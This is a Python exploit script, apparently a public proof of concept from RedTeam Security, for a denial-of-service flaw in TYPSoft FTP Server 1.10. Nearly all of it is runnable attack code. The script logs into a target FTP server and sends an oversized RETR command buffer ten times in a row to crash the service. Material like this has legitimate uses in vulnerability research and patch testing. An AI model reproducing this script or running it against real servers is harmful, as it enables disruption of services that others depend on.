# Tested on: Windows XP, SP2 (EN)

#!/usr/bin/python
print "\n#################################################################"
print "##                      RedTeam Security                       ##"
print "##             TYPSoft FTP Server RETR Command DoS             ##"
print "##                        Version 1.10                         ##"
print "##                                                             ##"
print "##                     Jeremiah Talamantes                     ##"
print "##                   labs@redteamsecure.com                    ##"
print "################################################################# \n"

import socket
import sys

# Description:
# RETR command overflow with no PORT specified

# Define the exploit's usage
def Usage():
    print ("Usage: scriptname.py <IP> <username> <password>\n")
    print ("\n\nCredit: Jeremiah Talamantes")
    print ("RedTeam Security : www.redteamsecure.com/labs\n")

# Buffer
buffer="AAAA" * 496

def exploit(hostname,username,password):
 i=0
 while i < 10:
  i=i+1
  sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  try:
   sock.connect((hostname, 21))
  except:
   print ("Error: unable to connect to host")
   sys.exit(1)
  r=sock.recv(1024)
  print "[+] " + r + ": iteration number:  ",i
  sock.send("USER " + username + "\r\n")
  r=sock.recv(1024)
  sock.send("PASS " + password + "\r\n")
  r=sock.recv(1024)
  sock.send("RETR " + buffer + "\r\n")
  sock.close()
  
if len(sys.argv) <> 4:
    Usage()
    sys.exit(1)
else:
    hostname=sys.argv[1]
    username=sys.argv[2]
    password=sys.argv[3]
    exploit(hostname,username,password)
    sys.exit(0)

# End